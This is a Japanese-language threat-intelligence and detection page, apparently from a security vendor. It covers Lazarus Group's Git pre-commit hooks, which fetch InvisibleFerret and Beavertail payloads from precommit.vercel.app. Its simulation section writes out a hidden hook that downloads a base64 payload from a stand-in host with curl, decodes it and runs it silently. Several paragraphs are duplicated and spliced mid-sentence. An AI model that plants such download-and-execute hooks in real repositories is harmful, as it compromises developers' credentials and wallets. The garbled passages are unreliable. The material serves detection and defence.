ラザルスグループがGitフックを使用してマルウェアを隠蔽、DPRKの伝染性インタビューとTaskJackerキャンペーンでInvisibleFerretおよびBeavertailマルウェアをダウンロードするGitフック内にセカンドステージローダーを隠す
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
北朝鮮のラザルスグループは、悪質なGitに第2段階の配信メカニズムを埋め込むことで、彼らのContagious InterviewおよびTaskJackerキャンペーンを更新しました pre-commit and post-checkout フック。これらのフックは、特定のプラットフォームに対するペイロードを静かにVercelにホストされたURLから取得し、macOS、Linux、Windowsシステム全体で実行します。信頼された開発者のワークフローとリポジトリツールを悪用することにより、攻撃者はルーチンのコーディングタスクを資格情報の盗難や暗号通貨ウォレットの妥協につながるサプライチェーンの妥協ベクトルに変えます。主要な指標には、悪質な .githooks/pre-commit スクリプトとホストされたインフラストラクチャが含まれます precommit.vercel.app.
調査
OpenSourceMalware研究者はコンパクトな .githooks/pre-commit スクリプトを特定しました。これは被害者のオペレーティングシステムを検出し、使用して適切なペイロードをダウンロードします precommit.vercel.app curlまたは を。この同じスクリプトのハッシュが、暗号およびDeFiテーマに関連付けられたコーディング評価プロジェクトに偽装された複数のGitHubリポジトリで見られました。このインフラストラクチャは、オペレーティングシステムに応じて異なるシェルまたはバッチペイロードを提供し、フラグベースのクエリパラメータで制御されていました。研究者はまた、同様のリポジトリを特定し、ハントを再現するために使用できるGitHubコード検索クエリを共有しました。 or を。この同じスクリプトのハッシュが、暗号およびDeFiテーマに関連付けられたコーディング評価プロジェクトに偽装された複数のGitHubリポジトリで見られました。このインフラストラクチャは、オペレーティングシステムに応じて異なるシェルまたはバッチペイロードを提供し、フラグベースのクエリパラメータで制御されていました。研究者はまた、同様のリポジトリを特定し、ハントを再現するために使用できるGitHubコード検索クエリを共有しました。. The same script hash appeared across multiple GitHub repositories disguised as coding-assessment projects tied to crypto and DeFi themes. The infrastructure served different shell or batch payloads depending on the operating system, controlled through a flag-based query parameter. Researchers also shared GitHub code search queries that can be used to reproduce the hunt and locate similar repositories.
緩和
組織はGitリポジトリのフックを慎重に確認するべきです、特に実行される前に実行される .githooks, .huskyおよび .vscode/tasks.jsonファイル。開発者は信頼できないリポジトリをクローンし、それをSSHキー、ウォレットファイル、またはアクティブなブラウザプロファイルを含まない隔離された環境でのみテストすべきです。可能であればGitフックの自動実行を無効にするか、承認されたスクリプトのみに限定するべきです。また、セキュリティチームは悪質なペイロード配信をサポートする可能性のある precommit.vercel.app および類似のドメインへのアウトバウンドトラフィックを監視するべきです。
対応
ディフェンダーは precommit.vercel.app とのネットワーク通信をブロックし、予期しない .githooks/pre-commit ファイル用のファイル整合性監視を作成する必要があります。 を。この同じスクリプトのハッシュが、暗号およびDeFiテーマに関連付けられたコーディング評価プロジェクトに偽装された複数のGitHubリポジトリで見られました。このインフラストラクチャは、オペレーティングシステムに応じて異なるシェルまたはバッチペイロードを提供し、フラグベースのクエリパラメータで制御されていました。研究者はまた、同様のリポジトリを特定し、ハントを再現するために使用できるGitHubコード検索クエリを共有しました。 or を。この同じスクリプトのハッシュが、暗号およびDeFiテーマに関連付けられたコーディング評価プロジェクトに偽装された複数のGitHubリポジトリで見られました。このインフラストラクチャは、オペレーティングシステムに応じて異なるシェルまたはバッチペイロードを提供し、フラグベースのクエリパラメータで制御されていました。研究者はまた、同様のリポジトリを特定し、ハントを再現するために使用できるGitHubコード検索クエリを共有しました。 がGitフック関連プロセスから実行された場合にアラートが発せられるべきです。露出の可能性がある資格情報、トークン、または暗号通貨ウォレットはすぐに調査され、ローテーションされるべきです。提供された指標を使用してスレットハンティングを拡大し、影響を受けたリポジトリとそれらとやり取りしたすべてのシステムを特定するべきです。
"graph TB %% クラス定義 classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% ノード u2013 アクション action_clone["<b>アクション</b> – 被害者が悪質なリポジトリをクローンします<br/><b>説明</b>: 悪質なGitフックを含むコードをダウンロードします。"] class action_clone action action_commit["<b>アクション</b> – 被害者は<code>git commit</code>を実行します<br/><b>説明</b>: preu2011commitフックが自動的にトリガーされます。"] class action_commit action %% ノード u2013 アーティファクト artifact_repo["<b>アーティファクト</b> – 悪質なGitリポジトリ<br/><b>詳細</b>: 偽のコーディング評価インタビューマテリアルを提供します。"] class artifact_repo artifact artifact_hook["<b>アーティファクト</b> – .githooks/preu2011commitスクリプト<br/><b>詳細</b>: 各<code>git commit</code>で自動的に実行されます。"] class artifact_hook artifact artifact_urls["<b>アーティファクト</b> – リモートペイロードURL<br/><b>詳細</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% ノード u2013 技術 tech_supply_chain["<b>技術</b> – T1195: サプライチェーンの妥協<br/><b>説明</b>: 悪意のあるコードを被害者に配布するために第u2011三者ソフトウェアサプライチェーンを妥協する。"] class tech_supply_chain technique tech_dependency["<b>技術</b> – T1195.001: ソフトウェア依存関係および開発ツールの妥協<br/><b>説明</b>: 悪意のあるコードを埋め込むためにソフトウェア依存関係または開発ツールをターゲットにします。"] class tech_dependency technique tech_proxy_exec["<b>技術</b> – T1127: 信頼された開発者ユーティリティプロキシ実行<br/><b>説明</b>: 信頼された開発者ユーティリティ(例:Gitフック)を使用して攻撃者u2011制御コードを実行します。"] class tech_proxy_exec technique tech_unix_shell["<b>技術</b> – T1059.004: コマンドおよびスクリプトインタープリター u2013 Unixシェル<br/><b>説明</b>: Unixシェルインタープリターを介してコマンドを実行します。"] class tech_unix_shell technique tech_user_exec["<b>技術</b> – T1204.004: ユーザー実行 u2013 悪意のあるコピーアンドペースト<br/><b>説明</b>: 被害者がコピーu2011アンドu2011ペースト操作を通じて無意識に悪意のあるコードを実行します。"] class tech_user_exec technique tech_taint["<b>技術</b> – T1080: 共有コンテンツの汚染<br/><b>説明</b>: 被害者が後で実行する共有リソースに悪意のあるコンテンツを埋め込む。"] class tech_taint technique tech_content_injection["<b>技術</b> – T1659: コンテンツの注入<br/><b>説明</b>: 正当なファイルまたはデータストリームに悪意のあるコンテンツを挿入する。"] class tech_content_injection technique %% ノード u2013 ツール tool_git["<b>ツール</b> – Git<br/><b>説明</b>: リポジトリエベントでフックスクリプトを実行するバージョン管理システム。"] class tool_git tool tool_curl["<b>ツール</b> – curl / wget<br/><b>説明</b>: HTTP/HTTPS経由でリモートコンテンツをダウンロードします。"] class tool_curl tool tool_sh["<b>ツール</b> – /bin/sh<br/><b>説明</b>: ダウンロードしたペイロードを実行するために使用されるシェルインタープリター。"] class tool_sh tool %% 接続 u2013 攻撃フロー action_clone –>|配信する| artifact_repo artifact_repo –>|有効化する| tech_supply_chain tech_supply_chain –>|促進する| tech_dependency tech_dependency –>|配置する| artifact_hook action_commit –>|トリガーする| artifact_hook artifact_hook –>|利用する| tech_proxy_exec tech_proxy_exec –>|経由で実行する| tool_git tool_git –>|呼び出す| tech_unix_shell tech_unix_shell –>|使う| tool_curl tool_curl –>|ダウンロードする| artifact_urls artifact_urls –>|に供給する| tech_taint tech_taint –>|につながる| tech_content_injection tech_content_injection –>|経由で実行する| tool_sh tool_sh –>|悪意のあるペイロードを実行する| tech_user_exec "
攻撃フロー
検出
疑わしいCURL使用(コマンドライン経由)
表示
第三者サービス/ツール経由での可能性のあるデータ浸透/流出/C2(プロキシ経由)
表示
第三者サービス/ツール経由での可能性のあるデータ浸透/流出/C2(DNS経由)
表示
疑わしいCurl実行試行[MacOS](コマンドライン経由)
表示
標準ツール経由でのリモートファイルのアップロード/ダウンロード(コマンドライン経由)
表示
検出するためのIOCs(HashSha1):ラザルスグループはGitフックを使用してマルウェアを隠すDPRKのContagious InterviewおよびTaskJackerキャンペーンは、InvisibleFerretおよびBeavertailマルウェアをダウンロードするGitフックの内部に第2段階ローダーを隠しています
表示
CurlコマンドでGitの悪意のあるPre-Commitフックを検出[Windowsプロセス作成]
表示
Shellスクリプトペイロードをダウンロードする疑わしいPre-Commitフック活動[Linuxプロセス作成]
表示
Gitフックにおけるラザルスグループの悪意のあるローダー[Linuxファイルイベント]
表示
シミュレーション実行
前提条件: テレメトリー& ベースラインの事前フライトチェックが通過している必要があります。
根拠: このセクションは、検出ルールをトリガーするために設計された敵対者の技術(TTP)の正確な実行を詳述しています。コマンドと説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃の説明とコマンド:
ラザルスグループのオペレーターが開発者のワークステーションを妥協し、悪意のあるGit pre‑commitフックを注入します。フックは表面上は見えないように”.githooks”ディレクトリに配置されます。任意のgit commitが行われると、フックは静かにC2サーバーに接続し、base64でエンコードされたペイロードをダウンロードして/tmp/.payloadに書き込み、実行可能にして実行します。これにより、フットホールド(T1620)を確立し、埋め込まれた悪意のあるペイロード(T1027.009)を実行します。 -
回帰テストスクリプト:
#!/bin/bash # ------------------------------------------------- # Lazarus‑style悪意のあるGit pre‑commitフックテスト # ------------------------------------------------- # 1. 隠し.githooksディレクトリを作成 mkdir -p "$HOME/.githooks" # 2. 悪意のあるpre‑commitフックを書き込み cat > "$HOME/.githooks/pre-commit" <<'EOF' #!/bin/bash # 悪意のあるpre‑commitフック – ペイロードをダウンロードして実行 C2_URL="http://malicious.example.com/payload.b64" TMPFILE="/tmp/.payload" # base64ペイロードをダウンロード curl -s -o "$TMPFILE.b64" "$C2_URL" # デコードして実行可能に設定 base64 -d "$TMPFILE.b64" > "$TMPFILE" chmod +x "$TMPFILE" # ペイロードを静かに実行 "$TMPFILE" & exit 0 EOF # 3. フックを実行可能にする chmod +x "$HOME/.githooks/pre-commit" # 4. フックを発動させるためにgit commitをシミュレート mkdir -p "$HOME/malicious-repo" cd "$HOME/malicious-repo" git init > /dev/null 2>&1 touch README.md git add README.md git commit -m "初回コミット" > /dev/null 2>&1 echo "悪意のあるpre‑commitフックが実行されました(検出が機能している場合はアラートが表示されるはずです)。" -
クリーンアップコマンド:
#!/bin/bash # 悪意のあるアーティファクトを削除 rm -rf "$HOME/.githooks" rm -f "/tmp/.payload" "/tmp/.payload.b64" rm -rf "$HOME/malicious-repo" echo "クリーンアップ完了。"